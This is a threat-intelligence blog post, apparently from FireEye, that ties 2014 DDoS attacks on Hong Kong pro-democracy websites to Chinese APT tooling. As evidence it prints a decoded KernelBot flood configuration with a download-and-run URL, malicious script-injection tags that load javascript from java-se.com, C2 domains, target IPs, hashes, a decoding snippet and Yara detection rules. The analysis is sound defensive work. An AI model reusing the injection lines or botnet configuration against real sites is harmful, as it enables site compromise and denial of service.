Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong's Pro-Democracy Movement

As the pro-democracy movement in Hong Kong has continued, we've been watching for indications of confrontation taking place in cyberspace. Protests began in September and have continued to escalate.

In recent weeks, attackers have launched a series of Distributed Denial of Service attacks (DDoS) against websites promoting democracy in Hong Kong. According to the Wall Street Journal, websites belonging to Next Media's Apple Daily publication have suffered from an ongoing DDoS attack that "brought down its email system for hours". According to other reports, Next Media's network has suffered a "total failure" as a result of these attacks. Additionally, at least one member of the popular online forum HKGolden was arrested for posting messages encouraging support for the OccupyCentral Pro Democracy movement.

The use of DDoS attacks as a political tool during times of conflict is not new; patriotic hacktivist groups frequently use them as a means to stifle political activity of which they disapprove. The question of state sponsorship (or at least tacit approval) in online crackdowns is often up for debate and ambiguous from a technical evidence and tradecraft perspective.

In this case, however, we've discovered an overlap in the tools and infrastructure used by China-based advanced persistent threat (APT) actors and the DDoS attack activity. We believe that these DDoS attacks are linked to previously observed APT activity, including Operation Poisoned Hurricane. This correlation sheds light on the potential relationships, symbiosis and tool sharing between patriotic hacker activities designed to disrupt anti-government activists in China, and the APT activity we consistently see that is more IP theft and espionage-focused.

Ongoing DDoS Attacks Target the Pro-Democracy Movement

FireEye has identified a number of binaries coded to receive instructions from a set of command and control (C2) servers instructing participating bots to attack Next Media-owned websites and the HKGolden forum. Next Media is a large media company in Hong Kong and the HkGolden forum has been used as a platform to organize pro-democracy protests. Each sample we identified is signed with digital certificates that have also been used by APT actors to sign binaries in previous intrusion operations:

MD5 Hash	Digital Certificate
c3d6450075d618b1edba17ee723eb3ca	QTI International Inc
d08e038d318b94764d199d7a85047637	CallTogether
84bd0809b1dbc2dc86f30d30faaa7e4e	CallTogether
39bb90140fc0101f49377b6c60076f9d	CallTogether
caa5529010c17b969da01ade084794c6	CallTogether

These binaries are W32 Cabinet self-extracting files that drop a variant of an older DDoS tool known as KernelBot . All of the samples we identified have the "NewVersion" value of 20140926. Structurally, all of these samples are similar in that they drop three files:

- ctfmon.exe–a legitimate, signed copy of the Pidgin IM client (md5 hash = 1685f978149d7ba8e039af9a4d5803c7)
- libssp-0.dll—malware DLL which is side-loaded by ctfmon.exe to decode and launch KernelBot. Most versions of this dll are also signed by either the QTI or CallTogether certificate.
- readme.txt – a binary file which contains the XOR-encoded KernelBot DLL as well as C2 destination information (most have md5 hash of b5ac964a74091d54e091e68cecd5b532)

The KernelBot implants receive targeting instructions from C2 servers hard-coded directly into the sample. For example, c3d6450075d618b1edba17ee723eb3ca drops a KernelBot variant that connects to both www.sapporo-digital-photoclub[.]com and wakayamasatei[.]com. The full list of C2 servers we identified is as follows:

```
sapporo-digital-photoclub[.]com
wakayamasatei[.]com
tommo[.]jp
mizma.co[.]jp
sp.you-maga[.]com
nitori-tour[.]com
ninekobe[.]com
shinzenho[.]jp
wizapply[.]com
www.credo-biz[.]com
```

On Oct. 21, the control server at wakayamasatei[.]com responded with the following encoded configuration file:

```
@$@cWFPWERPRnlPXl5DRE13JyBjWXhPWkVYXnleS15PFxonIGNZbkVdRGxDRk
94X0QaFxonIGlHTmNuGhcbJyBuRV1EbENGT3hfRH9YRhoXQl5eWhAFBRsaBBo
EGwQbHxsFGwRPUk8nIHF/Wk5LXk95T1hcT1h3JyBkT118T1hZQ0VEFxgaGx4
aExgcJyB/Wk5LXk9sQ0ZPf1hGF0JeXloQBQUbGgQaBBsEGx8bBRsET1JPJyBx
bm5leXViRVleeV5LXkNZXkNJWXcnIGlFX0Ref1hGFycgfkNHT1gXGCcgcW5uZ
Xl1eUlYQ1pebEZFRU53JyBjWXlJWENaXmxGRUVOFxsnIGlHTmNuFxsYGScgeU
```

```
lYQ1pebEZFRU5uZHkXJyB5SVhDWl5sRkVFTn9YRhdCXl5aEAUFRFJLWkMES1p
aRk9OS0NGUwRJRUcEQkEFJyB5SVhDWl5sRkVFTnpFWF4XEhonIGNZbU9ef1hG
bENGTxcbJyBjWXlPRE56S0lBT14XGicgfkJYT0tOZkVFWn5DR08XHycgfkJYT
0tOaUVfRF4XGxonIH5DR09YFxkcGicgY1l+Q0dPWBcbJyBxbm5leXV5SVhDWl
5sRkVFTnVrG3cnIGNZeUlYQ1pebEZFRU4XGicgaUdOY24XGycgeUlYQ1pebEZ
FRU5uZHkXGxoEGgQbBBsfGycgeUlYQ1pebEZFRU5/WEYXGxoEGgQbBBsfGwUb
BEJeR0YnIHlJWENaXmxGRUVOekVYXhcSGicgY1ltT15/WEZsQ0ZPFxsnIGNZe
U9ETnpLSUFPXhcbJyB+QlhPS05mRUVafkNHTxcbJyB+QlhPS05pRV9EXhcbJy
B+Q0dPWBcYGicgY1l+Q0dPWBcbJyBxbm5leXV/TlpsRkVFTncnIGNZf05abEZ
FRU4XGicgaUdOY24XGycgf05abEZFRU5uZHkXGxoEGgQbBBsfGycgfkJYT0tO
aUVfRF4XGycgfkNHT1gXGBonIGNZfkNHT1gXGycgcW5uZXl1f05abEZFRU51a
xt3JyBjWX9OWmxGRUVOFxonIGlHTmNuFxsnIH9OWmxGRUVObmR5FxsaBBoEGw
QbHxsnIH5CWE9LTmlFX0ReFxsnIH5DR09YFxgaJyBjWX5DR09YFxsnIHFubmV
5dXlTRGxGRUVOdycgY1l5U0RsRkVFThcaJyBpR05jbhcbJyB5U0RsRkVFTm5k
eRcbGgQaBBsEGx8bJyB5U0RsRkVFTnpFWF4XEhonIH5CWE9LTmlFX0ReFxsnI
H5DR09YFxgaJyBjWX5DR09YFxsnIHFubmV5dX5JWmxGRUVOdycgY1l+SVpsRk
VFThcaJyBpR05jbhcbJyB+SVpsRkVFTm5keRcbGgQaBBsEGx8bJyB+SVpsRkV
FTnpFWF4XEhonIGNZeU9ETnpLSUFPXhcbJyB+QlhPS05pRV9EXhcbJyB+Q0dP
WBcYGicgY1l+Q0dPWBcbJyBxbm5leXV+SVpsRkVFTnVrG3cnIGNZfklabEZFR
U4XGicgaUdOY24XGycgfklabEZFRU5uZHkXGxoEGgQbBBsfGycgfklabEZFRU
56RVheFxIaJyBjWXlPRE56S0lBT14XGycgfkJYT0tOaUVfRF4XHCcgfkNHT1g
XGBonIGNZfkNHT1gXGycg@$@
```

This configuration file can be decoded by stripping the leading and trailing @$@ characters. At this point, a simple base64 and XOR decode will reveal the plaintext configuration. The following snippet of python code can be used to decode this command:

```
b64encoded = request.content.rstrip('@$@').lstrip('@$@')
b64decoded = b64encoded.decode("base64")

command = ""

for c in b64decoded:
        x = ord(c)
        x = x ^ XOR_key
        command += chr(x)
```

FireEye has observed two different single-byte XOR keys used to encode configuration files issued by the DDOS C2 servers in this campaign. The two different keys are 0x2A or 0x7E. The encoded configuration file shown above decodes to:

```
[KernelSetting]
IsReportState=0
IsDownFileRun0=0
CmdID0=1
DownFileRunUrl0=http://10.0.1.151/1.exe
[UpdateServer]
NewVersion=20140926
UpdateFileUrl=http://10.0.1.151/1.exe
[DDOS_HostStatistics]
CountUrl=
Timer=2
[DDOS_ScriptFlood]
IsScriptFlood=1
CmdID=123
ScriptFloodDNS=
ScriptFloodUrl=http://nxapi.appledaily.com.hk/
ScriptFloodPort=80
IsGetUrlFile=1
IsSendPacket=0
ThreadLoopTime=5
ThreadCount=10
Timer=360
IsTimer=1
[DDOS_ScriptFlood_A1]
IsScriptFlood=0
CmdID=1
ScriptFloodDNS=10.0.1.151
ScriptFloodUrl=10.0.1.151/1.html
ScriptFloodPort=80
IsGetUrlFile=1
IsSendPacket=1
ThreadLoopTime=1
ThreadCount=1
```

```
Timer=20
IsTimer=1
[DDOS_UdpFlood]
IsUdpFlood=0
CmdID=1
UdpFloodDNS=10.0.1.151
ThreadCount=1
Timer=20
IsTimer=1
[DDOS_UdpFlood_A1]
IsUdpFlood=0
CmdID=1
UdpFloodDNS=10.0.1.151
ThreadCount=1
Timer=20
IsTimer=1
[DDOS_SynFlood]
IsSynFlood=0
CmdID=1
SynFloodDNS=10.0.1.151
SynFloodPort=80
ThreadCount=1
Timer=20
IsTimer=1
[DDOS_TcpFlood]
IsTcpFlood=0
CmdID=1
TcpFloodDNS=10.0.1.151
TcpFloodPort=80
IsSendPacket=1
ThreadCount=1
Timer=20
IsTimer=1
[DDOS_TcpFlood_A1]
IsTcpFlood=0
CmdID=1
```

```
TcpFloodDNS=10.0.1.151
TcpFloodPort=80
IsSendPacket=1
ThreadCount=6
Timer=20
IsTimer=1
```

During the course of our research, we've observed more than 30 different unique configuration files issued by the C2 servers listed above. These configurations issued commands to attack the following domains and IPs:

```
nxapi.appledaily.com[.]hk
202.85.162.90
58.64.139.10
202.85.162.97
202.85.162.81
198.41.222.6
202.85.162.101
202.85.162.95
202.85.162.180
202.85.162.140
202.85.162.130
124.217.214.149
```

All of the above IPs host Next Media or Apple daily websites, with the exception of 58.64.139.10 and 124.217.214.149. The IP 58.64.139.10 has hosted hkgolden[.]com – the domain for the HKGolden forum mentioned above.

For approximately 14 hours between October 23rd and 24th, the attackers pushed a configuration update to four controls servers that instructed bots under their control to flood 124.217.214.149 with UDP traffic. The IP 124.217.214.149 hosted the attacker controlled domain p.java-sec[.]com.

On Oct. 23, 2014, two of the active controls began instructing participating bots to cease attacks. By Oct. 24, 2014, all five of the known active control servers were issuing commands to cease the attacks.

It should come as no surprise that hkgolden[.]com, nextmedia[.]com, and appledaily.com[.]hk websites are now or previously have been blocked by the Great Firewall of China – indicating that the PRC has found the content hosted on these sites objectionable.

Links to Previous Activity

The most direct connection between these DDoS attacks and previous APT activity is the use of the QTI International and CallTogether code signing certificates, which we have seen in malware attributed to APT activity.

The QTI International digital certificate has been previously used to sign binaries used in APT activity including Operation Poisoned Hurricane. Specifically, 17bc9d2a640da75db6cbb66e5898feb1 is a PlugX variant signed by the QTI International certificate. This PlugX variant connected to a Google Code project at code.google[.]com/p/udom/, where it decoded a command that configured its C2 server.

The sample 0b54ae49fd5a841970b98a078968cb6b was signed with the QTI International certificate as well. This sample was first observed during a drive-by attack in June 2014, and was downloaded from java-se[.]com/jp.jpg. This sample is detected as Backdoor.APT.Preshin and connected to luxscena[.]com for C2.

The QTI International certificate was also used to sign e2a4b96cce9de4fb126cfd5f5c73c3ed. We detect this payload as Backdoor.APT.PISCES and it used hk.java-se[.]com for C2. The java-se[.]com website was previously used in other attacks targeting the pro-democracy movement in Hong Kong. We first observed the presence of malicious javascript inserted into Hong Kong Association for Democracy and People's Livelihood on June 26, 2014, which appeared as the following:

```
<a href="http://www.adpl.org.hk/?p=2680" title="抗議九巴加價要求凍結加價、改善服務
<script language=javascript src=http://java-se.com/o.js></script>">
```

More recently, as noted by Claudio Guarnieri, the website of the Democratic Party of Hong Kong was seen hosting a redirect to the same malicious javascript.
The CallTogether certificate has been used to sign ecf21054ab515946a812d1aa5c408ca5. We also detect this payload as Backdoor.APT.PISCES and observed it connect to u.java-se[.]com.
Both of these certificates are valid but can be detected and blocked via the following Yara signatures:

```
rule callTogether_certificate
{
  meta:
    author = "Fireeye Labs"
    version = "1.0"
    reference_hash = "d08e038d318b94764d199d7a85047637"
    description = “detects binaries signed with the CallTogether certificate”
```

```
  strings:
    $serial = {452156C3B3FB0176365BDB5B7715BC4C}
    $o = "CallTogether, Inc."
  condition:
    $serial and $o
}

rule qti_certificate
{
    meta:
        author = "Fireeye Labs"
        reference_hash = "cfa3e3471430a0096a4e7ea2e3da6195"
        description = "detects binaries signed with the QTI International Inc
certificate"
    strings:
        $cn = "QTI International Inc"
        $serial = { 2e df b9 fd cf a0 0c cb 5a b0 09 ee 3a db 97 b9 }
    condition:
        $cn and $serial
}
```

These ongoing DDoS attacks and previous APT intrusion activity both target the hkgolden[.]com website. As noted above, this site has been targeted with a DDoS attack by a KernelBot network. We also found that the hkgolden[.]com website was compromised on Sept. 5, 2014 and had a redirect to a malicious javascript again hosted at another jave-se[.]com host, which appeared as follows:

```
document.write("<script language=javascript src=http://jre76.java-
se.com/js/rss.js></script>
```

Finally, as noted above the IP 124.217.214.149 was seen hosting the domain p.java-sec[.]com between Oct. 25, 2014 and Oct. 27, 2014. As Brandon Dixon noted here, the java-sec[.]com domain is linked to the java-se[.]com by shared hosting history at the following IP address:

```
124.248.237.26
223.29.248.9
211.233.89.182
112.175.143.2
112.175.143.9
```

It is unclear why these actors would attack an IP address they were actively using. It's possible that the attackers wanted to test their botnet's capability by attacking an IP they were using to gather statistics on the size of the attack. It is also possible that the attackers simply made a mistake and accidentally issued commands to attack their own infrastructure. On Oct. 24, 2014, after attacking their own infrastructure, the attackers issued new instructions to their botnet that ceased all attacks.

Conclusion

While not conclusive, **the evidence presented above shows a link between confirmed APT activity and ongoing DDoS attacks that appear to be designed to silence the Pro Democracy movement in Hong Kong**. The evidence does not conclusively prove that the same actors responsible for the DDoS attacks are also behind the observed intrusion activity discussed above – such as Operation Poisoned Hurricane. Rather, the evidence **may indicate that a common quartermaster** supports both the DDoS attacks and ongoing intrusion activity.

In either scenario, there is a clear connection between the intrusion activity documented in Operation Poisoned Hurricane and the DDOS attacks documented here. While the tactics of these activities are very different from a technical perspective, each supports distinct political objectives. Operation Poisoned Hurricane's objective appeared to have in part been IP theft possibly for economic gain or other competitive advantages. In the DDOS attacks, the objective was to silence free speech and suppress the pro democracy movement in Hong Kong. The Chinese government is the entity most likely to be interested in achieving both of these objectives.

APPENDIX

MD5s

```
c3d6450075d618b1edba17ee723eb3ca
d08e038d318b94764d199d7a85047637
84bd0809b1dbc2dc86f30d30faaa7e4e
39bb90140fc0101f49377b6c60076f9d
caa5529010c17b969da01ade084794c6
17bc9d2a640da75db6cbb66e5898feb1
0b54ae49fd5a841970b98a078968cb6b
e2a4b96cce9de4fb126cfd5f5c73c3ed
ecf21054ab515946a812d1aa5c408ca5
```

HOSTNAMES

tommo[.]jp
mizma.co[.]jp
sp.you-maga[.]com
nitori-tour[.]com
ninekobe[.]com
shinzenho[.]jp
wizapply[.]com
www.credo-biz[.]com
www.sapporo-digital-photoclub[.]com
wakayamasatei[.]com
luxscena[.]com
java-se[.]com
hk.java-se[.]com
u.java-se[.]com
jre76.java-se[.]com
p.java-sec[.]com

This entry was posted in Threat Intelligence, Threat Research and tagged advanced malware, Cybersecurity, malware, zero-day by Ned Moran, Mike Oppenheim and Mike Scott. Bookmark the permalink.